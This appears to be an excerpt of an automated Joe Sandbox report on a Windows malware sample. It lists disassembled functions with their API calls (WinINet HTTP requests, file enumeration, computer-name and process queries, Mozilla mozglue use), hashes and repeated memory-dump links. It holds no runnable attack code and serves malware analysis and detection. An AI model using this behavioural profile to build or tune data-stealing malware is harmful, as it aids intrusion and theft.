Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0569bc7b1baef011b1d5f18f92e0980500673e7c4994d19c3b91acff0631d546
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 0569bc7b1baef011b1d5f18f92e0980500673e7c4994d19c3b91acff0631d546
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00416B70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: fdfd80cb279672106b0868309d592229e0d065a7c85f0249b74207da0ac0f79a
Instruction ID: be8c1ab43a98eff32a2473a2c92ea9a52ad9ae756924463cdd2a895b3bff2023
Opcode Fuzzy Hash: fdfd80cb279672106b0868309d592229e0d065a7c85f0249b74207da0ac0f79a
Instruction Fuzzy Hash: 505173B0D002189BDB24EB95DC85BEEB774AF54318F5041AEE10576281EB78AEC8CF5D

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0112F058), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0112E710,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 8ff4b93ef3d109353badee5b26fd214596c45334d5ae6ccdaebeca59549f1c38
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 8ff4b93ef3d109353badee5b26fd214596c45334d5ae6ccdaebeca59549f1c38
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,011289A0), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d200b216e5470a45321e9f2c94f8646e81e4b6bdba98d47ca00a42a145b71f62
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: d200b216e5470a45321e9f2c94f8646e81e4b6bdba98d47ca00a42a145b71f62
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00410580 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01128870), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,01128A10), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,01128A20), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a01d8f55fa7e1e8e56f6af09037c90d01fb7691b6a33375ff8aa5d277b052c86
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: a01d8f55fa7e1e8e56f6af09037c90d01fb7691b6a33375ff8aa5d277b052c86
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01128870), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,01128A10), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,01128A20), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 25f06e3ef1c63aa34e17196b0e9885a1f36d3b2f67fbfbaea9901bf91b9b63ab
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: 25f06e3ef1c63aa34e17196b0e9885a1f36d3b2f67fbfbaea9901bf91b9b63ab
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004173B0
RtlAllocateHeap.NTDLL(00000000), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6CBC3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CBC3095

Part of subcall function 6CBC35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4F688,00001000), ref: 6CBC35D5
Part of subcall function 6CBC35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBC35E0
Part of subcall function 6CBC35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CBC35FD
Part of subcall function 6CBC35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBC363F
Part of subcall function 6CBC35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBC369F
Part of subcall function 6CBC35A0: __aulldiv.LIBCMT ref: 6CBC36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBC309F

Part of subcall function 6CBE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B85
Part of subcall function 6CBE5B50: EnterCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B90
Part of subcall function 6CBE5B50: LeaveCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5BD8
Part of subcall function 6CBE5B50: GetTickCount64.KERNEL32 ref: 6CBE5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CBC30BE

Part of subcall function 6CBC30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CBC3127
Part of subcall function 6CBC30F0: __aulldiv.LIBCMT ref: 6CBC3140

Part of subcall function 6CBFAB2A: __onexit.LIBCMT ref: 6CBFAB30

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3fe1038523af2e1a0102e4ee089b6ddb36372826f143a9633a238bd83a8eadb4
Instruction ID: 6de1f7c9ff889d7946fb6c591e58307ab50499c291177bcde20cea8f0cf721c4
Opcode Fuzzy Hash: 3fe1038523af2e1a0102e4ee089b6ddb36372826f143a9633a238bd83a8eadb4
Instruction Fuzzy Hash: C3F0F922E207849ACB10FF7498415EAB374AF6B21CF50D319E89853611FB20A1DD8386

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
